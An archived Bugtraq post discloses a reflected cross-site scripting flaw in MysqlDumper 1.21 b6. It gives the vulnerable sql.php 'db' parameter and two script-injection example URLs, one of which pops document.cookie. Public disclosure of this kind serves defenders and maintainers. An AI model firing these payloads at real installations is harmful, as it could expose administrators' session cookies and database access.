MysqlDumper Version 1.21 b6 Xss Vulnerability

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: MysqlDumper Version 1.21 b6 Xss Vulnerability
From: crackers_child@xxxxxxxxxxxxxxxxxxx
Date: 11 Oct 2006 13:05:20 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

#########################################################
MysqlDumper Version 1.21 b6 Xss  Vulnerability
 
#########################################################

By Crackers_Child

crackers_child@xxxxxxxxxxxxxxxxxxx

www.sibersavacilar.com

#########################################################

Download Script

http://www.mysqldumper.de/board/downloads.php?view=detail&id=17


#########################################################
Exploit
#########################################################


www.site.com/mysqldumper_path/sql.php?db=[Xss codes]

#########################################################

Examples

/mysqldumper_path/sql.php?db=<script>alert(document.cookie)</script>

/mysqldumper_path/sql.php?db=<script>alert(/HACKED BY 
CRACKERS_CH&#304;LD)</script>

#########################################################

Greetz:All My Friends !

#########################################################

Prev by Date: Microsoft Office Malformed Record Memory Corruption Vulnerability
Next by Date: Secunia Research: Microsoft Windows Object Packager Dialog Spoofing
Previous by thread: Microsoft Office Malformed Record Memory Corruption Vulnerability
Next by thread: Secunia Research: Microsoft Windows Object Packager Dialog Spoofing
Index(es):
- Date
- Thread